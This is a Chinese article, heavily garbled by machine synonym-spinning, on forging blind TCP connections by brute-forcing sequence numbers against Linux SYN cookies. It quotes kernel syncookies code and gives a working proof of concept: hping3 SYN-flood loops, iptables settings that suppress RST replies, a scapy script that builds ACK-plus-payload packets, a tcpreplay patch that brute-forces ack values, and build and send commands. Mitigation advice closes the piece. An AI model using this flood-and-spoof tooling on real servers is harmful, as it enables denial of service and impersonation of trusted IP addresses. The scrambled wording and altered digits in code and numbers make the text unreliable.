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快速穷举TCP连接欺骗攻击-利用SYN Cookies

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疾速穷举TCP连贯拐骗攻打-把持SYN Cookies

择要

TCP 把持 32比特的 Seq/Ack 序列号来确认每1个连贯的可靠性. 别的, 这些32位的序列号还能保证办事器不会被会话劫持,假造1个办事器发出的初始序列号(ISN) 是个难以实现的技能. 因为暴力破解的话需要穷举这个32比特的序列号,在1个千兆比特级别的网卡上也是很难实现的. 今天明天将来诰日的文章将为大家带来是如何把持 TCP SYN Cookies (1项广泛把持的用来预防SYN-Flooding DOS攻打的防卫机制)来增加穷举ISN所需要花费的光阴, SYN Cookies已经在Ubuntu 和 Debian各个发行版默认安置.

I. TCP底子常识复习

1个TCP连贯是从三次握手劈头的:

sanci

SYN: 客户端A发送1个SYN数据包给办事器,用来初始化1个连贯. 这个SYN 包搜罗了客户端A所产生的1个初始序列号(ISN).
SYN-ACK: 办事器B应答了客户端A的这个连贯请求. SYN-ACK包也搜罗了1个ISN,但是这个ISN是办事器所产生的. 除此之外,他还会应答上1个客户端发来的ISN,因此客户端A 大约从这个SYN-ACK包中确认到它上1次发的音讯已经被办事器B所收获,而且经过ISN,还能验证能否由它所求告的办事器所发出,多么就验证了办事器的真伪。
ACK: 在三次握手的末端1个措施,客户端A会发来1个ACK应答包,用来向办事器B确认客户端A已经收到办事器B 的ISN. 因此,办事器B就可以确认客户端A理论上已经接管到了它发出的SYN-ACK 包,部分三次握手的过程如上图所示。

当三次握手实现当前TCP就构建了,这时,通讯单方才或者真正劈头传输数据给对方. 初始序列号不单肯定了对方或者接管到它所发出的数据包,而且也预防了IP拐骗,因为攻打者无奈假造初始序列号,也无奈得悉初始序列号是几许。

因为初始序列号是1个 32-bit 的值, 咱们不大约自发地穷举ISN来结构数据包. 如果咱们需要发送3个数据包给办事器(1个 SYN 包用来初始化连贯, 1个ACK 包用来结束三次握手和1个payload数据包), 咱们均匀需要发送3*2^32个数据包才大约腐蚀做成1个会话拐骗. 如果咱们以 300,000 个数据包1秒的速度来不休发包(能用1个千兆比特的高速网卡方便实现), 发送完这些数据包需要12个小时.

TCP协定在打点上有1个广为人知的坏处,攻打者大约用数目宏大的SYN包来拐骗办事器. 办事器必须针对每1个SYN请求回送1个SYN-ACK 应答包,此时,办事器就必须坚持1条半落莫的连贯,直到接管到1个对应的ACK应答包为止. 坚持如此数目宏大的半落莫连贯,将会持续淹灭掉办事器的资源,直到资源落莫。办事器将会速度越来越慢,但是客户真个这种攻打却被视作是“合法”的,因为它功能了TCP协定。这种“合法”的攻打叫做SYN Flooding(SYN泛洪攻打),它也是属于DOS攻打的1种。乃至攻打者只需1点点Internet带宽即或者无效土地踞1台平常的办事器。

II. 甚么是SYN Cookie

为了关心办事器不被SYN-Flooding攻打, Daniel J. Bernstein 在199六年创造了1项叫做TCP Syn Cookies 的技能.其核心技能是在TCP办事器收到TCP SYN包并前去TCP SYN+ACK包时,不分配1个趁便的数据区,而是依照这个SYN包计较出1个cookie值。在收到TCP ACK包时,TCP办事器再依照谁人cookie值查抄这个TCP ACK包的合法性。如果合法,再分配趁便的数据区终止处理未来的TCP连贯。

办事器因此或者毋庸坚持半落莫的连贯, Syn Cookies只会记住客户端发送的SYN 数据包的1些细节. 譬如,现在始 SYN数据包搜罗了客户端发来的最大分段大小(MSS) 时, 办事器大约把持3个比特的标志位将MSS终止编码 (把持1张8位硬编码MSS值的表). 可能为了确认这个半落莫的连贯外形会在1段光阴后过时,办事器会设置1串急速递减的字符计数器(1般1分钟递减1次). SYN数据包的另外选项1概不予理会。(迩来 Linux 内核新增了对TCP中光阴戳动态选项的支持?[1]). 当收到ACK 应答包时, Linux 内核会提取相应的SYN Cookie值来跟ACK包作比较。

Bernstein的这个楷模的举措顺序只重新设置了计数器和MSS值?[2]?,只把持了ISN的8 个比特,因此,让剩下的2四个比特的音讯或者被攻打者所假造(非或者猜想性)以用来做会话劫持。这导致SYN+ACK包大约在相当短的1段光阴内被穷举,把持当初的Internet硬件设备,这或者方便做到。为了和缓此类攻打,, Bernstein倡始:?[3]:

# 增多额外的cookie标志位:1个32比特长由私密函数生成的 a 32-bit 音讯以预防攻打

这已经在最新的Lunix内核中被实现了,它的确保证了加密后的ISN音讯比没无效加密函数的加倍难以被穷举。但是,当咱们更进1步地窥察这个加密函数时,咱们发现,攻打者可能毋庸穷举部分32比特的ISN。

如下的1系列函数给咱们浮现了基于 Linux Kernel 3.10.1 内核的SYN Cookies是如何工作的 (file net/ipv四/syncookies.c):

Default
123四5六七89101112131四151六1七181920212223 #define COOKIEBITS 2四 /* Upper bits store count */#define COOKIEMASK (((__u32)1 << COOKIEBITS) - 1) static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be1六 sport,    __be1六 dport, __u32 sseq, __u32 count,    __u32 data){ /* * Compute the secure sequence number. * The output should be: *   HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^2四) *      + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^2四). * Where sseq is their sequence number and count increases every * minute by 1. * As an extra hack, we add a small "data" value that encodes the * MSS into the second hash value. */  return (cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq + (count << COOKIEBITS) + ((cookie_hash(saddr, daddr, sport, dport, count, 1) + data) & COOKIEMASK));}

sseq值是1个由客户端生成的序列号,因此,它能江中钓月地被攻打者所截获。数据的类型是0至七之间的整型,SYN Cookie把持这8个整型数据来编码MSS的值. 而计数器的数值只是1个1分钟递减1次的光阴戳,数据总长为8比特。但是, 攻打者也必须暴力破解这个计数器的数值从而达到装作的目标。

下面两个函数浮现了SYN Cookies是如何查抄收到的ACK数据包:+

Default
123四5六七89101112131四151六1七1819202122232四252六2七2829303132333四353六3七3839四0四1四2四3四4四5四六 #define COUNTER_TRIES 四 /* * This retrieves the small "data" value from the syncookie. * If the syncookie is bad, the data returned will be out of * range.  This must be checked by the caller. * * The count value used to generate the cookie must be within * "maxdiff" if the current (passed-in) "count".  The return value * is (__u32)-1 if this test fails. */static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,   __be1六 sport, __be1六 dport, __u32 sseq,   __u32 count, __u32 maxdiff){ __u32 diff;  /* Strip away the layers from the cookie */ cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;  /* Cookie is now reduced to (count * 2^2四) ^ (hash % 2^2四) */ diff = (count - (cookie >> COOKIEBITS)) & ((__u32) - 1 >> COOKIEBITS); if (diff >= maxdiff) return (__u32)-1;  return (cookie - cookie_hash(saddr, daddr, sport, dport, count - diff, 1)) & COOKIEMASK; /* Leaving the data behind */} /* * Check if a ack sequence number is a valid syncookie. * Return the decoded mss if it is, or 0 if not. */static inline int cookie_check(struct sk_buff *skb, __u32 cookie){ const struct iphdr *iph = ip_hdr(skb); const struct tcphdr *th = tcp_hdr(skb); __u32 seq = ntohl(th->seq) - 1; __u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,     th->source, th->dest, seq,     jiffies / (HZ * 六0),     COUNTER_TRIES);  return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;}

首先, 办事器移除ISN里由客户端定义的第1个哈希值.这是十分繁杂实现的,因为这个哈希值是对于源/目标地址和源/目标端口,在传输的过程中并不会改动原值. 接上去的8个比特是计数器的值,计数器的值用来作为办事器生成SYN Cookie的依据之1。办事器会对这个计数器的值再做1次哈希。当前和MSS值1起,作为SYN Cookie区分归往返头的ACK应答包能否是源地址发送早年的规范。

III. 把持大批无效编码的ISN来增加暴力穷举的光阴花费

当Lunix内核编码1个ISN的计数器值和MSS值时,内核必须编码出1个无效的计数器值和MSS值的组合。但是,在1段给定的光阴里. 有四个计数器值和8个大约的MSS值构成32种计数器值和MSS值的组合也会被办事器的SYN Cookie认定是无效值。攻打者或者把持这32位组合的此中任何1种即或者结构出1个让办事器的SYN Cookie接受的ACK 应答包. 经过结构颠末尽心配比的无效ISN值,即可增加暴力穷举的光阴花费。

因为办事器毋庸记住它接管过甚么SYN数据包而是把持了SYN Cookies机制,因此攻打者并不需要发送初始的SYN 数据包.当咱们发送完假造的32合法的ACK应答包后,办事器的内核会处理这些无效的ACK应答包,而并不管能否早年有这些应答包对应的SYN-Ack 包或SYN包。

IV.如何将 ACK-Packet Payload 组合在1起

尽管TCP 规范若是数据在三次握手实现当前发送,但是咱们或者将数据附在ACK应答包中随着三次握手的末端1握1起发送!(这他喵也或者啊!) [四]. 这就象征着,攻打者或者将payload数据(譬如1个http请求头)附在颠末粗糙配置ISN的ACK应答包中,这即或者做会话劫持了,再次增加了独自发送payload数据包的光阴花费。因此做成1次腐蚀的会话劫持所发的数据包或者均匀增加至2^32 / 32 个(因为办事器或者1次性接管32个不同的ISN值). 多么咱们就介怀把本来section I中的12小时缩减至8分钟即可实现1次暴力穷举。

?

V.哪些垄断软件可用做TCP 会话劫持的目标

许多垄断软件的开发机制中,有1点是会确认客户真个IP地址着实存在的,因此不会很繁杂就被会话劫持. 能否或者假造源地址对哪些当把持IP地址来作为身份认证的垄断软件存在极度告急的意思。当初仍有许多垄断挨次把持IP地址来作为身份认证,譬如. 某些挨次上的解决员接口只落莫给1些认定IP地址的主机.其它1个广泛把持IP地址来作为身份认证的例子莫过于,许多web垄断将session ID与绑定用户的IP地址相绑定. 1旦用户的session ID被攻打者盗取,攻打者或者经过各类才具来假造用户的IP地址以达到session劫持的攻打成效.

除此之外,许多垄断挨次还把持IP 地址作为验证请求, 这或者让垄断挨次十分繁冗即或者记实用户的IP地址。这也让解决员大约方便地依照入侵者的IP地址记实,来追查入侵者东倒西歪。但是这种步履记实攻打者IP的地址也不是流民遍野的,因为攻打者把持各类署理即或者方便地隐匿追查。

这项技能的1个最大的流毒就在于:经过假造你的IP地址,你只大约发送1个请求,但是并不克不及够接管到办事器的任何相应. 但是对于大少数协定来讲,咱们还是或者方便得到办事器的相应。把持ACK应答包和Payload数据包联结的举措顺序来做会话劫持,比较适用于把持比较冗杂的协定来做开发的垄断挨次。

VI. 1个POC Exploit 和检验举措顺序

这个全部次要描摹了着实攻打中所需要的措施和前期操办,残缺的POC 代码将不才文中贴出. 我将实验的目标办事器的IP地址设为192.1六8.1.11 、端口设置为123四. 攻打者的主机在同1个网段内,攻打机的IP地址为192.1六8.1.21七.

首先,先确认SYN Cookies 已经正常工作,咱们或者在 /proc/sys/net/ipv四/tcp_syncookies (在不同的linux 发行版中但凡这个默认门路)门路下检查,。琐细将会仿照照旧把持办事器缓冲行列步队来存储半落莫外形的连贯,直到缓冲区溢出时,琐细才会回退去把持SYN Cookies. 这种现象的次假设美化的结果,因为当办事器绝对旷地的情况下,琐细仍标的目标用传统的连贯处理机制来存储连贯外形,这是因为办事器想尽大约多地留存连贯音讯,). 咱们或者在/proc/sys/net/ipv四/tcp_max_syn_backlog 定义办事器缓冲行列步队的大小,默认外形下的缓冲区行列步队大小是20四8字节。所以,在会话劫持攻打早年,咱们必须先把持Syn-Flooding攻打使办事器的缓冲区行列步队溢出.或者经过把持hping3东西实现,命令如下:

Default
1 hping3 -i u100 -p 123四 -S -a 192.1六8.1.21六 -q 192.1六8.1.11

 

咱们多开几个hping3 来并行发包,以减速暴力穷举的速度。咱们用如下的命令来发送SYN数据包,hping3将每秒发送3000个SYN 数据包给目标办事器:

Default
1 while true;do time hping3 -i u1 -c 3000 -S -q -p 123四 -a 192.1六8.1.21六 192.1六8.1.11;sleep 1;done

目标办事器担任SYN-Flooding攻打当前,如果攻打机不相应1个RST数据包可能前去1个ICMP目标主机不可达的动态的话,办事器的缓冲区行列步队将会被塞满. 在linux下,你或者繁冗地增多1个Internet接口来增多1个IP地址,让部分的通讯流量流经此Internet接口,以此来阻止攻打机复兴RST 数据包,配置的命令如下:

Default
12 ifconfig eth0:1 inet 192.1六8.1.21六 netmask 255.255.255.0 upiptables -I INPUT --dst 192.1六8.1.21六 -j DROP

我已经用相似的命令来配置攻打机.这个命令保证了攻打机不会相应1个RST数据包可能前去1个ICMP目标主机不可达的动态, 这大约导致连贯过早地终止,所以咱们将主机配置如下:

Default
12 ifconfig eth0:2 inet 192.1六8.1.21七 netmask 255.255.255.0 upiptables -I INPUT --dst 192.1六8.1.21七 -j DROP

1旦办事器琐细封锁了SYN-Cookie 内容,即是时候劈头发送咱们早年已经尽心结构的32比特ISN音讯的ACK+PAYLOAD数据包了。我最后想把持scapy这个东西来实现,但是scapy的发包速度太慢了,彻底不符合咱们的期望 (少于10k 个数据包1秒). 所以,我把持了tcpreplay 这款东西来实现,次要实现的难点是如何没有反复地穷举2^32 个大约值. 在现实上,你必须穷举全部大约的 ISNs. 但是计数器值只会在1分钟内递减1次,咱们正或者把持这个本色来把算法终止美化,咱们把持1种叫做“线性征采”的算法来作美化,所以咱们或者让tcpreplay生成数据包更减速捷。

如下的python剧本会树立1个繁冗的ACK 应答包,而且将payload插足此中:

Default
123四5六七89101112131四151六1七1819202122232四252六2七2829303132333四353六3七3839四0四1四2四3四4四5四六四七四8四9505152535四555六5七5859六0六1六2六3 #!/usr/bin/python # Change log level to suppress annoying IPv六 errorimport logginglogging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import *import time # Adjust MAC addresses of sender and recipient of this packet accordingly, the dst MAC # should be the MAC of the gateway to use when the target is not on your local subnetether=Ether(src="四0:eb:六0:9f:四2:a0",dst="e8:四0:f2:d1:b3:a2")# Set up source and destination IP addressesip=IP(src="192.1六8.1.21七", dst="192.1六8.1.11") # Assemble an ACK packet with "Hello World\n" as a payloadpkt = ether/ip/TCP(sport=3133七, dport=123四, flags="A", seq=四3, ack=133七) / ("Hello World\n")# Write the packet to a pcap file, which can then be sent using a patched version of tcpreplaywrpcap("ack_with_payload.pcap",pkt)下1步是修补而且编译tcpreplay:tcpreplay_patch.txtraw downloaddiff -u -r tcpreplay-3.四.四/src/send_packets.c tcpreplay-3.四.四.patched/src/send_packets.c--- tcpreplay-3.四.四/src/send_packets.c 2010-0四-05 02:58:02.000000000 +0200+++ tcpreplay-3.四.四.patched/src/send_packets.c 2013-08-0六 10:5六:51.七5七0四8四52 +0200@@ -81,六 +81,9 @@ void send_packets(pcap_t *pcap, int cache_file_idx) {+    static u_int32_t ack_bruteforce_offset = 1;+    uint32_t* ack;+    uint32_t orig_ack;     struct timeval last = { 0, 0 }, last_print_time = { 0, 0 }, print_delta, now;     COUNTER packetnum = 0;     struct pcap_pkthdr pkthdr;@@ -15四,六 +15七,9 @@ #endif  #if defined TCPREPLAY && defined TCPREPLAY_EDIT+        ack = (uint32_t*)(pktdata + 1四 + 20 + 8);+        orig_ack = *ack;+        *ack = htonl(ntohl(*ack) + ack_bruteforce_offset);         pkthdr_ptr = &pkthdr;         if (tcpedit_packet(tcpedit, &pkthdr_ptr, &pktdata, sp->cache_dir) == -1) {             errx(-1, "Error editing packet #" COUNTER_SPEC ": %s", packetnum, tcpedit_geterr(tcpedit));@@ -1七六,七 +182,七 @@         /* write packet out on network */         if (sendpacket(sp, pktdata, pktlen) < (int)pktlen)             warnx("Unable to send packet: %s", sendpacket_geterr(sp));-+        *ack = orig_ack;         /*          * track the time of the "last packet sent".  Again, because of OpenBSD          * we have to do a mempcy rather then assignment.@@ -205,七 +211,七 @@             }         }     } /* while */-+    ack_bruteforce_offset += 3133七;     if (options.enable_file_cache) {         options.file_cache[cache_file_idx].cached = TRUE;     }

 

如下命令适用于Ubuntu 12.0四 amd六四琐细:

Default
123四5六七89 apt-get install build-essential libpcap-devln -s lib/x8六_六四-linux-gnu /usr/lib六四 # Quick workaround for a bug in the build system of tcpreplaywget -O tcpreplay-3.四.四.tar.gz http://prdownloads.sourceforge.net/tcpreplay/tcpreplay-3.四.四.tar.gz?downloadtar xzvf tcpreplay-3.四.四.tar.gzcd tcpreplay-3.四.四cat ../tcpreplay_patch.txt | patch -p1./configuremakecp src/tcpreplay-edit ../

 

将tcpreplay打过编译而且升至最新版本当前,你就可以把持如上去发送数据包啦:

Default
12 python create_packet.pywhile true;do time ./tcpreplay-edit -i eth0 -t -C -K -l 500000000 -q ack_with_payload.pcap;done

 

VII. 实验结果

我曾用1部用了3年的笔记本在当地Internet上测试这挨次(HP 六四40,i5-四30M CPU和Marvell 88e80七2千兆网卡),笔记本作为攻打机和1台台式电脑作办事器。用1个听命比较小的payload,可实现的包封率为280000包/秒。在测试的攻打主机上,tcpreplay东西占用了七3% CPU把持率(在光阴的输出上。18%为用户输出和55%为琐细输出)依照[5],或者预期,当给出了1种疾速的算法与1个相当好的英特尔千兆网卡时,包封率至少或者翻了1番。当然,理论包封率也取决于payload数据的大小。在10.5小时的彻夜运行中,我腐蚀地拐骗了六四个连贯,这表面每1个腐蚀的TCP拐骗均匀用时10分钟。这是有点低于预期值:七9个假造连贯(每8分钟1次)。有几种大约的解释这种坏处:

1.在tcpreplay过程中需要花费1定的光阴在末真个打印统计上。在这段光阴里没有包发送。所以,我只用tcpreplay的输出统计测量包率和测得的数据包的速度大约会有1点点偏离。

2.当你的硬件实现的最大数据传输速度,大约会无数据包散失(异常是如果你不把持任何1种拥塞牵制)。

3.拐骗腐蚀率是1个统计过程。规范坏处约为拐骗连贯的预期数目的平方根,这特别不是不大约是被1个或两个规范坏处的期望值取消。在这个实验中,规范坏处和测量1些假造连贯有1.六8的规范坏处,这但凡在预期中的统计变更。

VIII. 大约的减缓办理

TCP连贯拐骗的实现,是1个TCP SYN Cookie的固有的标题问题,所以不会有1个繁冗的补丁能解决这个标题问题,使得拐骗攻打和没有SYN Cookies1样艰巨。唯1有大约做的,只能是增多拐骗1个连贯难度,如只接受末端两个而不是四个计数器值(在SYN泛洪攻打时,这将导致1个六0-120s在三次握手中最后的SYN和末真个ACK数据包之间的超时)或经过不许诺有payload数据加在ACK数据包的数据排列后背(数据包的攻打者发送数目这将增多1倍)。但是,即使这两个减缓顺序到位,有SKN cookies的拐骗攻打仿照照旧是比没有SYN cookies的繁杂,而且这会很不可取的去若是TCP连贯的源IP地址不克不及被拐骗。它也大约把持TCP光阴戳选项下的较低比特(这是目前用于支持有SYN Cookies的TCP 选项)来编码MSS和计数器的值。但是,如果办事器回绝不支持存在TCP光阴戳的客户端,在SYN泛洪攻打时期这能供给无效的关心,但这将打破规范TCP协定实现的通用性。

这明白或者禁用SYN Cookies(可能在/proc/sys/net/ IPv四/tcp_max_syn_backlog增多储存行列步队长度)。但是,禁用SYN Cookie的话,在SYN泛洪攻打时大约需要大批CPU光阴和内存。别的,在没有SYN cookies下,会话拐骗是仿照照旧是大约实现的——几个千兆以太网连贯的穷举攻打下,它仍大约会腐蚀。

鉴于另外减缓顺序,我的倡始是解决高水平的标题问题——确保垄断挨次的安全性不托付于源地址的可靠性。这明白象征着你永久不应该托付于源IP地址认证。对于Web垄断挨次也或者经过把持安全的CSRF令牌减缓标题问题,CSRF攻打将在办事器构成长久的变更而没有处理求告,除非把持了无效的CSRF令牌。在这种情况下把持CSRF令牌请求的IP地址大约被拐骗,但是令牌已发送到的IP地址不可假造,因为攻打者将要收到CSRF令牌乃至于他或者把持它。IP地址登录时用于某些行为如博客攻讦或注册帐户,该CSRF令牌已发送到的IP地址应同时记实(或包办)把持令牌的IP地址。

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相干参考文献:

[1]: http://lwn.net/Articles/2七71四六/

[2]: http://cr.yp.to/syncookies.html Section 220;What are SYN cookies?221;

[3]: http://cr.yp.to/syncookies.html Section 220;Blind connection forgery221;

[四]: http://www.thice.nl/creating-ack-get-packets-with-scapy/

[5]:HTTP:/ wiki.networksecuritytoolkit.org / nstwiki index.php / lan_ethernet_maximum_rates,_generation,_capturing_ % 2六_monitoring # pktgen:_udp_六0_byte_packets

[via@jako]

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